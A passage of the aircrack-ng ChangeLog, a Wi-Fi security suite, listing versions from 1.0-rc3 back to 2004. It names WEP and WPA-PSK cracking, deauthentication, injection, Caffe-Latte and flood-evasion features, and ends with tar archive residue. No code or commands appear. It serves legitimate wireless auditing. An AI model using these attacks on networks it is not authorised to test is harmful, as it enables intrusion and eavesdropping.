2.6.28. * patches: Updated madwifi-ng patch to r4073 * packages: Fixed spec (RPM) file. * GUI (windows): Use last used directory when selecting another file to crack. * GUI (windows): Allow .pcap files too (next to .cap, ...). Version 1.0-rc3 (changes from aircrack-ng 1.0-rc2) - Released 26 March 2009: * airodump-ng: Added Active Scanning Simulation. * airodump-ng: Added support for kismet-newcore netxml files (DTD v3.1.0) * airodump-ng: Changed file extensions for CSV (.csv instead of .txt) and for kismet CSV (.kismet.csv instead of .csv). * airodump-ng: Fixed WPA tag parsing and added QoS detection based on direction. * airodump-ng: Added option to only disable capture file; all other files (CSV, kismet CSV, kismet netxml, GPS) will be created. * aircrack-ng: Fixed -w with WEP. * aircrack-ng: Fixed useless memory allocation. * aircrack-ng: Fixed compilation with gcc 2.95. * aircrack-ng: Fixed compilation on 64 bit (SHA-SSE2). * aircrack-ng: Fixed errors when compiling on OS X 10.5.6 PPC. * aircrack-ng: Added an option to write the key to a file. * airolib-ng: Fixed a bug where database is created even if parameters are not correct. * airmon-ng: Added wifibox to the list of network managers. * airmon-ng: Updated iw download link (0.9.11). * airmon-ng and airdriver-ng: Move them in script/ directory. * airmon-ng: Bypass interface checks when ps command returns an error. Needed for BusyBox limited ps command. * airdriver-ng: Update legacy RT73 driver to use rt73-k2wrlz v3.0.2 * tkiptun-ng: Allow padded arp packets to the client. * airserv-ng & osdep: Fixed compilation on FreeBSD 7.1 * easside-ng & wesside-ng: Fixing again "Error Wrote 39 out of 30" error message. * manpages: Fixed manpages titles. * Makefile: Only compile and install wesside-ng, easside-ng, buddy-ng and tkiptun-ng with "make unstable=true". * patches: Updated sqlite (v3.6.11) patch for cygwin. * patches: Added patch for aircrack-ng on MacOSX * scripts: Added a script to automatically patch and install SQLite in cygwin. Version 1.0-rc2 (changes from aircrack-ng 1.0-rc1) - Released 22 Jan 2009: * aircrack-ng: Added SSE2 supports (WPA cracking speed is improved a lot) thanks to nx5. * aircrack-ng: Fixed detection of the number of CPU (especially with recent CPUs). * aircrack-ng: Fixed long lasting WPA bugs: cannot find the key with SMP computers, wasn't exiting correctly, ... * aircrack-ng: Fixed usage of a dictionnary with WEP. * aircrack-ng: Now only display ASCII WEP keys when 100% of the hex key can be converted to ASCII. * aircrack-ng: You can now specify the number of threads for cracking even if you have a non-SMP computer. * aircrack-ng: Now output an error message if using -r and it wasn't compiled with sqlite support. It was a problem on some ubuntu. * airdecloak-ng: New tool to remove wep cloaked frames from a pcap file. For more details see http://www.aircrack-ng.org/doku.php?id=airdecloak-ng * airodump-ng: Added kismet csv output support. * airodump-ng: Fixed power value display (for ath interface with a high number, more than 99). * airodump-ng: Can work on the new frequencies (allowed by frequency Chaos patch). * airodump-ng: Now display if the network has QoS enabled. * aireplay-ng: Fixed crash with too short packets (seen with zd1211). * aireplay-ng: Fixed STP usage in fragmentation attack. * aireplay-ng: Fixed bug with deauth attack. * airtun-ng: Fixed STP conversion. * airolib-ng: Added sample database in test/ directory. * tkip-tun: New tool to inject on WPA1 with QoS enabled networks. Full description: decrypt packets comming from the AP in a TKIP network, which uses QoS (ieee802.11e). It also breaks the MIC Key for sending packets towards the Client correctly encrypted and signed. Stores plaintext packet and keystream in seperate files. * airbase-ng: Several improvments ( See http://trac.aircrack-ng.org/ticket/466 ). * airbase-ng: Added compatibility with some clients. added random source IPs and MACs for cfrag attack (-N) to evade simple flood protection. * airmon-ng: Fixed some 'unary operator expected' errors. * airmon-ng: Fixed channel number setting with mac80211 drivers. * airmon-ng: Recognition of 4 new chipsets: acx1xx, at76_usb, adm8211 and AR9001U (otus). * airmon-ng: Fixed some chipset naming inconsistencies between ieee80211 and mac80211 drivers. * airmon-ng: Fixed display of "airmon-ng check". * airmon-ng: Improved mac80211 driver handling. * airdriver-ng: Fixed madwifi-ng driver download URL. * airdriver-ng: Updated openSuse information. * wesside-ng: Fixed open() with O_CREAT that needs 3 arguments. * osdep: Added TAP/TUN MTU getter. * manpages: Fixed misspelled airserv-ng manpage filename. * manpages: Added Airbase-ng, Tkiptun-ng manpages. * manpages: Updated description of all manpages. * Makefile: Fixed errors when compiling on OSX 10.5. * Makefile: Now ensure that make 3.81 or higher (mandatory) is used when compiling on OSX 10.4. * Makefile: Only install airolib-ng manpage if airolib-ng is installed. * Makefile: Added 'make check' that tests key cracking against files given in test/ directory. * general: Fixed 'evalrev' on Solaris. * general: Fixed compilation on Sun SPARC. * general: Fixed compilation on some distribution (with a recent version of gcc) due to warnings (because of not getting the return value of some functions). * general: Several compilation fixes. * patches: Updated ath5k patches * patches: Added rt2570 patch (kernel 2.6.24). * patches: Updated madwifi-ng patch for r3745. * patches: Updated mac80211 patches. * patches: Added zd1211rw patch for 2.6.26, b43/b43legacy for 2.6.26-wl. * patches: rt73, r8187 patches for fedora kernels (should work on 2.6.27). * patches: Added Defcon 16 patch (more frequencies than the usuals) for ath5k called frequency Chaos. * patches: Added injection patch for rtl8187 (mac80211). * patches: Added a universal mac80211 fragmentation and injection speed patch. * GUI (windows): Fixed: Windows GUI gives "please specify dictionnary". Version 1.0-rc1 (changes from aircrack-ng 1.0-beta2) - Released 09 Jun 2008: * airbase-ng: Multi-purpose tool aimed at attacking clients as opposed to the AP. * airbase-ng: Added replay tool for external packet processing feature. * aircrack-ng: Fixed: Displaying twice the wep key at the end and "Warning: Previous crack is still running". * aircrack-ng: Fixed detection of WPA handshake (was not working correctly in previous release). * aircrack-ng: Fixed PTW attack against QoS and WDS packets. * aircrack-ng: Added oneshot option to try PTW only once. * airodump-ng: Fixed channel numbers (Fixed "fixed channel" messages). * airodump-ng: Added frequency selection (-C). * aireplay-ng: Fixed injection on OpenBSD. * aireplay-ng: Fixed a rtc bug which freezed aireplay-ng in case /dev/rtc0 is not available. * aireplay-ng: Fixed chopchop attack against QoS packets. * aireplay-ng: Added Caffe-Latte attack. * aireplay-ng: Added CFrag attack: Turns every IP and ARP packet into an ARP request against the client. * airtun-ng: Added support for fragmented packets. * airdriver-ng: Updated drivers. * airserv-ng: Various fixes. * airmon-ng: Added nl80211 usage. * airmon-ng: Use 'iw' when it is found. * airmon-ng: Fixed error with madwifi-ng when creating new VAP. * wesside-ng: Added option to ignore ACKs. * OSdep: Fixed endieanness bugs. * OSdep: Orinoco: attempt to bring interface down before switching to monitor mode. * All: Added copyright and GPL in missing files. * All: Fixed compilation on Mac OSX 10.5.2 (PPC). * GUI: Fixed "Choose" button (airdecap-ng). * Makefile: Fixed usage of iCC versions other than 9.0. * patches: Updated rtl8187 patch. * patches: Updated madwifi-ng patch. * patches: Updated sqlite patch (cygwin). * patches: Added mac80211 frag patch. * patches: Added b43 and updated bcm43xx patches. Version 1.0-beta2 (changes from aircrack-ng 1.0-beta1) - Released 01 Feb 2008: * aircrack-ng: Cracking WPA now does only require 2 packets (instead of 4). * airodump-ng: Fixed (WEP) open system and shared key system detection. * airodump-ng (win): Battery status is now displayed. * airdriver-ng: Fixed module detection. * airdriver-ng: Updated drivers. * airdriver-ng: Added firmware support. * airdriver-ng: Added softmac installation. * airdecap-ng: Save packets with ICV error in a separate file. * airolib-ng: Automatically create a database if it does not exist. "init" option is not necessary anymore. * airolib-ng: Now uses getopts for options. * airdriver-ng: Updated some drivers download locations. * airdriver-ng: Fixed softmac installation * airmon-ng: Added detection of ipwraw-ng driver. * airmon-ng: When stopping an interface, it is in managed mode * Makefile: supports DESTDIR or destdir parameter. * Makefile: renamed ROOT (used by gentoo for other stuff) variable by AC_ROOT. * manpages: Fixes for whatis * patches: updated cygwin sqlite patch * patches: updated rtl8187 patch * Added instructions to compile airolib-ng and using '-r' option in aircrack-ng for cygwin. * Fixed compilation of aircrack-ng with some gcc versions Version 1.0-beta1 (changes from aircrack-ng 0.9.2) - Released 01 October 2007: * airodump-ng: Added --berlin option (see code for more information). * airodump-ng: Fixed 100% cpu utilization while channelhopping on rtap interface * airodump-ng: Fixed frame length < 10bytes bug * airodump-ng: Added out-of-monitor-mode, channel hop and interface down detection * airodump-ng: Fixed debian bug #417388: airodump-ng doesn't restore terminal after error * airodump-ng: Fixed opening the same interface more than once * airodump-ng: Fixed PWR values for some drivers * airodump-ng: Fixed airodump sanity check (resulted in showing WPA networks without CIPHER & AUTH) * airodump-ng: Added "-f" to set the time in ms between hopping channels * airodump-ng: Added partial 40bit WEP detection * airodump-ng: Added "--showack" to print statistics about ack/cts and rts frames * airodump-ng: Added "-h" to hide the known stations in ack statistics * airodump-ng: Added "-r" to read packets from a pcap file * aircrack-ng: Added BSSID merge option * aircrack-ng: Added passive ptw attack (using also IP packets for cracking) * aircrack-ng: Made ptw attack default, for korek attack use -K * aircrack-ng: Fixed huge memory usage with ptw attack on hundreds of APs * aircrack-ng: Added -M paramteter for specifying maximum number of IVs to be read * aircrack-ng: Changed ptw testpackets from first to random (fixes invalidation of found keys) * aircrack-ng: Added --wep-decloak mode * aircrack-ng: Added --ptw-debug to allow klein or ptw disabling * aircrack-ng: PTW: Starts a new process group * aircrack-ng: Increased PTW key checking speed by 20% * aircrack-ng: Try 1000 40bit keys befor starting 104bit cracking, to get the key "instantly" without waiting for 104 bit to fail * aircrack-ng: Fixed not shown ascii keys, when found key was shorter than expected * aircrack-ng: Added visual inspection of the different keybytes (--visual-inspection). * airdecap-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * aireplay-ng: Added usage of RTS/CTS, auth and ACK to --test (more stable and faster) * aireplay-ng: Added TCP connection test to --test * aireplay-ng: Changed injection rate to be more stable * aireplay-ng: Made essid argument optional - sniffs the essid if its broadcasted * aireplay-ng: Made src mac argument (-h) optional - uses default interface mac * aireplay-ng: Added bitrate test to --test (-B) * aireplay-ng: Fixed 100% cpu utilization in --test * aireplay-ng: Added --fast switch to use first available packet without interaction * aireplay-ng: chopchop now tries header recreation workaround if icv check failed * aireplay-ng: Fixed seq field for fragment attack * aireplay-ng: Now works with rtc_cmos * aireplay-ng: Added automatic channel changing in --test to AP channel * aireplay-ng: Added channel synchonisation for --test between cards * aireplay-ng: Added possibility to limit injection test to one AP "-a" or "-e" * aireplay-ng: Added BSSID/ESSID detection, so it can be enough to specify one option * makeivs-ng: Added parameters to set length, number and first IV of generated IVs * makeivs-ng: Added possibility to generate IVs sequentially or randomly * makeivs-ng: Added parameters to set percentage of false and dupe frames * makeivs-ng: Added 256bit wep support * packetforge-ng: Added support for generating more than on packet * patches: updated rtl8187 patch for 2.6.22 * patches: updated zd1211rw patch for 2.6.22 * New IVS format for storing all relevant data * Auto-creation of rtap interface if it doesn't exist (ipw2200) * Better acx, rtl8180, orinoco and madwifi-ng detection * Using OpenSSL instead of build-in crypto * Added library rx/tx support * Added airpcap rx/tx support * Added airdriver-ng script for installing and managing patched drivers * Added wesside-ng as an all in one tool for recovering the wep-key * Added easside-ng for realtime decryption (instant rx/tx) of wep frames * Added buddy-ng as loopback server for easside-ng * Added airserv-ng - server for rx/tx on another system * Added airolib-ng for using hash tables to crack wpa/wpa2 psk (supports cowpatty rainbow tables) * Fixed compilation of optimized binaries with icc * Fixed compilation on FreeBSD, NetBSD, OpenBSD and MacOSX * Better WDS handling and display * Added detection and removal of trailing fcs checksum * Fixed several memory leaks * Fixed being root when connecting to airserv-ng * Added OpenBSD sniffing support Version 0.9.3 (changes from aircrack-ng 0.9.2) - Released 24 February 2008: * Fix endianness issues in airodump-ng, aireplay-ng. * Several small bug fixes. * Updated rtl8187 patch. Version 0.9.2 (changes from aircrack-ng 0.9.1) - Released 05 February 2008: * aireplay-ng: Now works with rtc_cmos * aireplay-ng: Fixed compilation on Fedora Rawhide * airodump-ng: Fixed: Wrong information printed in CSV file (PSK for WEP with Shared key instead of SKA). * airodump-ng (airpcap): added support for 5Ghz channels. * airdecap-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * airmon-ng: Fixed detection of N770 wireless interface * airmon-ng: Fixed Ralink rt73 detection * airmon-ng: Added driver detection through sysfs * airmon-ng: Added mac80211 support * airmon-ng: Added networkmanager detection - airmon-ng check * airmon-ng: Added detection of ipwraw-ng driver * GUI (win): Fixed file dialog for airdecap-ng * manpages: updated airodump-ng manpage * manpages: Fixes for whatis * Makefiles: Fixed OpenBSD makefile. Version 0.9.1 (changes from aircrack-ng 0.9) - Released 25 June 2007: * airodump-ng: wlan-ng driver now works again. * airodump-ng: Fixed IP address when writing to CSV file * airodump-ng: Fixed debian bug #417388: it doesn't restore terminal after error * aircrack-ng: Fixed WPA cracking on SMP computers * aircrack-ng: Fixed bug in calc_pmk() function causes wrong PMK to be computed * airmon-ng: Fixed madwifi-ng wifiX detection (due to translation in ifconfig) * patches: Added ACX injection patch * patches: Updated rtl8187 patch for 2.6.21 * GUI (win): Added PTW option to aircrack-ng tab. * GUI (win): Fixed a bug when cracking with a wordlist. Version 0.9 (changes from aircrack-ng 0.8) - Released 13 May 2007: * aireplay-ng: Added new 'attack': injection test (--test) * aireplay-ng: disallow injection with wlanng & kernel > 2.6.11 * airtun-ng: Fixed: an option wasn't shown in usage screen. * airodump-ng (win): Fixed version numbering. * airodump-ng (win): Changed first time messagebox * aircrack-ng: Fixed: --help make aircrack-ng crash * aircrack-ng: Added PTW attack (option: -z). It require full capture. * airdecap-ng: now decrypt IEEE802.11 header with 802.11e header * airmon-ng: Fixed orinoco card detection * patches: updated zd1211rw patch for kernel 2.6.21 * patches: Added bcm43xx injection patch for kernel 2.6.20 * patches: updated rtl8187 patch (for new driver version). * wzcook (win): now can work in silent mode (option: --silent) * Makefile: added make zip (cygwin only) * Makefile: fixed direct call to 'make install' or 'make strip' instead of 'make' * GUI (win): Updated aircrack-ng tab and added an about tab. Version 0.8 (changes from aircrack-ng 0.7) - Released 25 April 2007: * aireplay-ng: Works on FreeBSD-CURRENT * aircrack-ng: Fixed stdin dictionary usage * aircrack-ng: Hardcode CPUs number to 1 in case detection fails * aircrack-ng: Fixed too low trashvalue * aireplay-ng: Fixed 384 bytes keystream output * aireplay-ng: Fixed IV index bug * aireplay-ng: Better error messages for -0 and -1 * airtun-ng: Works on FreeBSD * airtun-ng: Fix compilation under FC6 (missing "linux/if.h" include). * airodump-ng: Works on FreeBSD. * airodump-ng: Added encryption filtering * airodump-ng: Fixed a SIGSEGV * airodump-ng: Added WPA handshake detection * airodump-ng: Added non associated stations filter * airodump-ng: Added support for zd1211rw * airodump-ng: Fixed 100% cpu utilisation * airmon-ng: Added support for zd1211rw driver * airmon-ng: Added support for at76c503a, rt61 and rt73 * airmon-ng: Updated some device detection * airmon-ng: Added Nokia 770 and PrismGT softmac * airmon-ng: Fixed ACX driver monitor mode startup * airmon-ng: Fixed syntax error * airtun-ng: Works on FreeBSD * airtun-ng: Added pcap support to replay saved wlan sessions * airtun-ng: Added repeater mode, bssid and netmask filter * packetforge-ng: Added null packet support * packetforge-ng: Added packet selection for -9 * Patches: Added hostap kernel 2.6.18 patch * Patches: Updated rtl8187 patch. * Patches: Updated madwifi-ng patch. * Patches: Added injection patch for zd1211 (does not work for all devices). * Added airoscript (from daouid) * Makefiles: Fixed: make uninstall did not remove all files * Updated spec file by David Bolt to be able to build RPM packages on FC, Mandriva and Suse distro * Added WEP authentication example capture * Fixed gcc 2.95 compilation * Fixed compilation on MacIntel Version 0.7 (changes from aircrack-ng 0.6.2) - Released 20 January 2007: * Makefiles: Improved + added makefiles for other OS * Makefiles: Fixed make install on Windows and MacOS * airtun-ng: Creates a tuntap interface, through which ordinary IP frames can be injected * aireplay-ng: Added fragmentation attack * aireplay-ng: Added shared key authentication * airmon-ng: Now detect the shell when installing * airmon-ng: Added support for rtl8187 * aircrack-ng: Added WEP dictionnary attack * aircrack-ng: Works with 802.11e QoS packets * airodump-ng: Added MAC filtering * airodump-ng: Now use the flaw in shared-key authentication to generate a xor file containing the prga recovered from a shared-key authentication * airodump-ng: More information about encryption on the AP * airodump-ng: Receive quality indicator * airodump-ng: The way ESSID is given in the CSV file is more clear * packetforge-ng: Set the TTL value in the ip header * packetforge-ng: Close open file handles * Special handling of spanning tree packets * Added rtl8187 patch for injection * Other bug fixes Version 0.6.2 (changes from aircrack-ng 0.6.1) - Released 1 October 2006: * aireplay-ng: Applied patch to inject packets with an ipw2200 * aircrack-ng: Fixed: show_wpa_stats() 1 byte array overflow * aircrack-ng: Fixed a warning when compiling on 64bit inner_bruteforcer_thread() * aircrack-ng: Changed -d option. It's now a mask (use XX for unknown bytes). * arpforge-ng: removed. It's replaced by packetforge-ng * packetforge-ng: New tool to forge packets (by Martin Beck) + manpage written * aircrack-ng, aireplay-ng, packetforge-ng: new MAC decoding function * airmon-ng: Fixed a bug when using it with madwifi-ng * airmon-ng: Added ipw3945 detection * airodump-ng (windows): now automatically download peek.dll and peek5.sys if needed * airodump-ng: LLC null packets are skipped * makeivs: added manpage * Makefile: Fixed: make aircrack-ng-opt-prof_gen fails * updated madwifi-ng patch Version 0.6.1 (changes from aircrack-ng 0.6) - Released 27 August 2006: * aircrack-ng: Fixed missing '-s' option * aircrack-ng: Fixed: Show a different ASCII key for a same hex key * airodump-ng: Using --band option instead of --bg, --abg, --ab, ... * airodump-ng: Fixed: fails to put wlanng in monitor mode * airodump-ng: using rtap0 as interface should now work * airodump-ng and aireplay-ng: "Can't find wireless tools, exiting." should be fixed if they exist * airodump-ng and airmon-ng: rt2570 now uses prismheader (use at least beta 2 driver) * airmon-ng: Fixed: discards ipw2200 v1.1.x * airmon-ng: Fixed: show newly created madwifi-ng VAP * airmon-ng: Should now works with 'ash' shell (Zaurus, OpenWRT, ...) * INSTALL: Added a note about warnings when compiling sources * INSTALL: Added more informations about installing aircrack-ng on windows * updated spec file * some other bugfixes * cygwin1.dll and msvcr70.dll are now included in windows package Version 0.6 (changes from aircrack-ng 0.5) - Released 23 June 2006: * aircrack-ng: Multithreaded keybytes bruteforcer * aircrack-ng: Now bruteforce only last keybyte by default (faster than last 2KB) * aircrack-ng: Added option to show ASCII version of the key * aircrack-ng: Fixed: bug with -d option. It adds a leading "0x00" to the key * aireplay-ng: fixed compilaton issues on some distro * aireplay-ng: fixed a bug when using 'ash' * aireplay-ng: You can change ring buffer size (-g option) * airodump-ng: Log by default only one beacon (added option to log all beacons) * airodump-ng: Dump prefix isn't mandatory anymore, not giving it won't store any data * airmon-ng: Ralink devices needs be put in ad-hoc prior to inject packets * manpages: Added kstat manpage * manpages: fixed airodump-ng manpage (hyphen used as minus sign) * Makefile: You can now compile aircrack-ng with Intel C Compiler (really faster) * Updated madwifi-ng patch to r1545 (and up; can be applied on madwifi v0.9.0 and v0.9.1) * Added instructions to compile on different plateforms/OS * Added a WPA2 capture file in test directory * Some other fixes Version 0.5 (changes from aircrack-ng 0.4.4) - Released 04 May 2006: * airodump-ng: Hop on 2.4Ghz channels by default * airodump-ng: Added support for OpenWrt devices (use prism0 as capture interface) * aircrack-ng and aireplay-ng: korek chopchop optimisation (Thanks to ASPj) * airodump-ng: Fixed: when starting, it captured data on channel 10 * aircrack-ng: Fixed: Not using all CPU on SMP systems Version 0.4.4 (changes from aircrack-ng 0.4.3) - Released 24 april 2006: * aircrack-ng: fixed a stupid bug that prevent cracking * sha1-mmx.S: GNU_STACK ELF marking * updated patch for madwifi-ng r1526 and upper Version 0.4.3 (changes from aircrack-ng 0.4.2) - Released 24 april 2006: * airmon-ng: fixed madwifi-ng (VAP creation-destruction and a cosmetic fix) * aircrack-ng: fixed compilation under OSX * airodump-ng: added elapsed time * Makefile : added a MacOSX makefile (Makefile.osx) * updated patch for madwifi-ng r1520 and upper Version 0.4.2 (changes from aircrack-ng 0.4.1) - Released 20 april 2006: * airodump-ng: Fixed: dumpfile prefix took the name of the second argument * airodump-ng: Fixed: .gps file creation if GPSd isn't used * version.c removed (the content was moved to common.c) Version 0.4.1 (changes from aircrack-ng 0.4) - Released 19 april 2006: * airodump-ng: use of parameters like aircrack-ng, aireplay-ng, ... * airodump-ng: more sanity checks * airodump-ng & aireplay-ng: forbid the use of ndiswrapper * airodump-ng & aireplay-ng: check of iwpriv existence * manpages: updated and fixed typos * Makefile: fixed "make doc" * airmon-ng: fixed and improved madwifi detection Version 0.4 (changes from aircrack-ng 0.3) - Released 16 april 2006: * Typos fixed and cosmetic changes in sources and in manpages * manpages: updated airodump-ng screenshot * manpages and aireplay-ng: renamed attack names * airodump-ng: fixed some compile warnings * airodump-ng: hopping also on .11a channels if available * airodump-ng: fixed: GPS coordinates were never shown * airmon-ng: fixed ipw2100 (Thx to OverThere) and madwifi-ng detection * aircrack-ng: speed optimizations * aircrack-ng: -x option disable last 2 keybytes bruteforce (WEP cracking is faster) * aircrack-ng: with -a option, you can use "wep" or "wpa" instead of numbers * ivstools: --merge option fixed * Makefiles: improvements * Lots of little changes * added aircrack-ng.spec for building RPM * added slack-desc for building slackware packages Version 0.3 (changes from aircrack-ng 0.2.1) - Released 30 march 2006: * aireplay-ng: typo fixed * aireplay-ng: Madwifi-ng is now supported * airodump-ng: disabled GPS coordinates if connection to gpsd fail * airodump-ng: Battery informations fixed (hacked kismet code) * airodump-ng: Madwifi-ng is now supported * aircrack-ng: corrrected title (when cracking a key) * aircrack-ng: uses by default all CPU for cracking (Debian bug report #352877) * manpages: Fixed some errors (Debian bug report #356551) * manpages: created ivstools manpage * Makefiles: cleaning and improvement * fixed pcap2ivs bug (it wasn't using the good MAC for bssid) * Merged mergeivs and pcap2ivs into ivstools * airmon.sh: Fixed (hopefully) detection of ipw2100 and ipw2200 (Debian bug report #340057) * airmon.sh: renamed to airmon-ng * Updated madwifi-ng patch to r1486 Version 0.2.1 (changes from aircrack-ng 0.2) - Released 20 march 2006: * corrected 2 bugs in airmon.sh and changed another little thing * one word missing for option -j in aireplay * updated madwifi-old patch to SVN r1475 * makefile cleaning * typo corrected in pcap2ivs Version 0.2 (changes from aircrack-ng 0.1) - Released 19 march 2006: * updated version number and program name * updated airmon.sh added detection of acx, madwifi-ng and bcm43xx * added manpages (Thanks to Adam Cecile) * added madwifi-ng patches * re-added missing drivers patches * added uninstall rule in makefile * added Sharp Zaurus binaries (Thanks to Rick Farina aka Zero_Chaos) * added a cygwin makefile Version 0.1 (changes from aircrack 2.41) * updated windows binaries * compiled some files for windows * Separated in multiple packages ---------------------------------------------------------------------------------------------- Older Changelog: Version 2.41 released on 2005-11-22. Changes from version 2.4: * airodump: show probing clients as "not associated" * airodump: don't substract the noise level unless madwifi * airodump: fixed channel hopping with old orinoco * airmon.sh: added detection of the zd1211 driver Version 2.4 released on 2005-11-12. Changes from version 2.3: * airodump: display ESSIDs from Probe Requests * airodump: don't overwrite existing capture files * airodump: create a logfile of the gps coordinates * airodump: every 20s, sort the detected APs by power * airodump: display the remaining battery capacity * airodump: use ioctl() instead of calling iwconfig * airodump: added support for radiotap headers * aireplay: added option -j (FromDS packet injection) * aireplay: added prismheader support for rt2500 / rt2570 * aireplay: fixed attack -0 when injecting on ralink usb * aireplay: fixed attack -3 (ring buffer / deauth problem) * aircrack: don't bruteforce the last 2 keybytes by default * aircrack: changed the fudge factor type to float * aircrack: added option -t (restrict keyspace to BCD) * aircrack: fixed the check_wep_key false positive bug * aircrack: fixed overflow of the number of tested keys * aircrack: lower number of required IVs if -d is used * mergeivs and pcap2ivs: initial release Version 2.3 released on 2005-08-28. Changes from version 2.23: * aireplay: added patch for injection on Ralink USB * aireplay: improved deauthentication attack (-c flag) * aireplay: don't enable the prism header on athXraw * airodump: fixed rare hanging problem in dump_write_csv * airodump: workaround for ipw2200 wep data corruption bug * airodump: tweaked dump_print to make more space for ESSID * aircrack: added support for 152-bit WEP cracking * updated the documentation and merged versioning patch Version 2.23 released on 2005-08-17. Changes from version 2.22: * aireplay: updated the madwifi patch, fixes WEP/WPA support * airodump: fixed a few buffer overflows, code cleanup for gcc4 * aircrack: also printf the WEP key if >= 75% ASCII caracters Version 2.22 released on 2005-08-14. Changes from version 2.21: * aireplay: now compatible with madwifi CVS 2005-08-14 * airodump: fixed the output power with newer madwifi Version 2.21 released on 2005-08-09. Changes from version 2.2: * airodump: forcefully exit when user presses Ctrl-C * airodump: bugfixed (yet again) ESSID uncloacking * airodump: re-create the ivs file if no header present * aircrack: changed the default fudge factor back to 2 * airdecap: fixed the incorrect output pcap header length Version 2.2 released on 2005-08-03. Changes from version 2.2-beta12: * aireplay: (attack 1) added G rates in the association request * fixed the Makefile for compilation on FreeBSD / Mac OS X Version 2.2-beta12 released on 2005-07-30. Changes from version 2.2-beta11: * aireplay: bugfixed the madwifi patch, switched to 20050707 * aireplay: avoid triggering "protocol XX00 is buggy" messages * airodump: don't reset the card when hopping between channels * airodump: ipw2200 didn't like calling "iwpriv ethX monitor 1" * airodump: added support for airodump on WRT54G / OpenWRT * airodump: commit the .txt statistics file every 20 seconds * aircrack: increased the default fudge factor (3 for WEP-104) Version 2.2-beta11 released on 2005-07-27. Changes from version 2.2-beta10: * aireplay: updated the madwifi patch to inject in b/g mode * aireplay: fixed attack 2 (it wrongly swapped the smac & dmac) * aircrack: (cygwin) added O_BINARY flag to force binary mode Version 2.2-beta10 released on 2005-07-23. Changes from version 2.2-beta9: * aireplay: fixed the status line not showing in attack -3 * aireplay: updated the madwifi and hostap injection patches * aireplay: added patches for injection on rt2500 and rtl8180 * aircrack: added detection of 802.1d in check_wep_key * airodump: restore prismheader link level info w/ hostap * airodump: create the output file if there's no pcap header * airdecap: added flag -l to disable ethernet conversion * updated the win32 port and rewrote the documentation Version 2.2-beta9 released on 2005-07-21. Changes from version 2.2-beta8: * aireplay: fixed the invalid rtc file descriptor bug * aircrack: actually fixed the prism header endianness bug Version 2.2-beta8 released on 2005-07-21. Changes from version 2.2-beta7: * aireplay: specify the deauth count instead of delay * aircrack: fixed an endianness issue with the prism header * aircrack: added the experimental single bruteforce attack * airodump: do enable the prismheader with wlan-ng * airodump: WEP/WPA: show the number of data packets * airodump: show total number of captured beacon packets * airodump: orinoco: fixed "iwpriv ethX monitor 1" command * airdecap: fixed an endianness issue with the packet length * airdecap: skip already processed duplicate packets Version 2.2-beta7 released on 2005-07-14. Changes from version 2.2-beta6: * airodump: don't enable the prismheader with wlan-ng * aircrack: fixed check_wepkey() to avoid false positives * completed the preliminary win32 port Version 2.2-beta6 released on 2005-07-12. Changes from version 2.2-beta5: * aireplay: fixed injection of fromds packets on Prism2 * aireplay: attack 0: target access point must be specified * aireplay: attack 1: allow the user to change reauth delay * aircrack: fixed race condition when realloc() ap->ivbuf * airodump: fixed endianness issue when parsing prism header Version 2.2-beta5 released on 2005-07-10. Changes from version 2.2-beta4: * aireplay: added patch for single-nic injection on hostap * aireplay: fixed chopchop attack in non-authenticated mode * aireplay: don't flood the AP with authentication requests * aircrack: bruteforce the last two keybytes by default * aircrack: improved handling of partial WPA handshakes * aircrack, airdecap: added WPA2 (RSN / 802.11i) support Version 2.2-beta4 released on 2005-07-03. Changes from version 2.2-beta3: * aircrack: new option to restrict WEP search space to ascii * aircrack: fixed concurrency bug with multiple .cap files * aircrack: fixed incorrect detection of WPA CCMP handshakes * aircrack: fixed incorrect handling of HMAC-SHA1 WPA MIC * aireplay: fixed deauth problem when chopchoping a packet * aireplay: added a workaround for error "Write buffer full" * airodump: added support for prism header on prism54 * airodump: save the list of detected wireless clients * airunwep: renamed to airdecap, added WPA decryption support Version 2.2-beta3 released on 2005-06-28. Changes from version 2.2-beta2: * aircrack: fixed the tracking of new IVs * aireplay: fixed the CPU usage bug in attack 3 * when reading pcap files, check the packet length Version 2.2-beta2 released on 2005-06-27. Changes from version 2.2-beta1: * aireplay: added fully automated ARP replay attack * aireplay: added automated deauthentication attack * aireplay: added fake authentication in Monitor mode * aircrack: various pthread enhancements & bugfixes Version 2.2-beta1 released on 2005-06-22. Changes from version 2.1: * aircrack: now auto-updates if new IVs are available * aircrack: fixed #285441 (struct pcap_pkthdr on AMD64) * aircrack: fixed the pcap endianness problem * aircrack: added essid filtering option and quiet mode * aircrack: only print status info every 1/20th second * aircrack: added WPA-PSK cracking support from cowpatty * aircrack: added EAPOL frame type detection and display * aircrack: each korek attack can be disabled selectively * airodump: added 802.11 b/g (2.4 GHz) channel hopping * airodump: added a file format for logging only the IVs * airodump: CRC is properly removed if driver is madwifi * airodump: input packets can be read from a pcap file * airodump: bugfixed WPA detection and ESSID uncloaking * airodump: also display a list of detected stations * aireplay: implemented chopchop and arp-forgery * aireplay: added patches for single-nic injection * 802ether: bugfixed and renamed to airunwep Version 2.1 released on 2004-10-01. Changes from version 2.0.2: * added 11g and WPA detection support in airodump * aircrack automatically avoids using WPA IVs * aircrack can break 256-bit and 512-bit WEP keys * win32 - fixed yet again the "missed IVs" bug * win32 - ported the 802ether WEP decryptor program Version 2.0.2 released on 2004-09-24. Changes from version 2.0.1: * win32 - added the WZCOOK key recovery program * fixed a bug in the BSSID iteration code in airodump * completely rewrote the documentation, moved to /docs Version 2.0.1 released on 2004-09-21. Changes from version 2.0: * win32 - fixed the channel reset bug * win32 - fixed the "missed IVs" bug * win32 - rewrote drivers.txt Version 2.0 released on 2004-09-03. Changes from version 1.4: * native win32 port of airodump and aircrack * aireplay better spots potential arp-requests Version 1.4 released on 2004-08-26. Changes from version 1.3: * fixed check_wepkey, works with exotic LLC headers * airodump prints lots of information, Kismet-style Version 1.3 released on 2004-08-19. Changes from version 1.2: * bugfixed and improved KoreK's code * renamed airunwep to 802ether Version 1.2 released on 2004-08-17. Changes from version 1.1: * implemented KoreK's advanced WEP attacks * completely rewrote the SMP engine Version 1.1 released on 2004-08-11. Changes from version 1.0: * implemented WEP arp-requests replay attack * improved the fudge calculation algorithm * added multi-processor support Version 1.0 released on 2004-07-29 aircrack-ng-1.2-beta3/VERSION0000644000000000000000000000001212316414264014273 0ustar rootroot1.2-beta3 aircrack-ng-1.2-beta3/manpages/0000755000000000000000000000000012316431263015023 5ustar 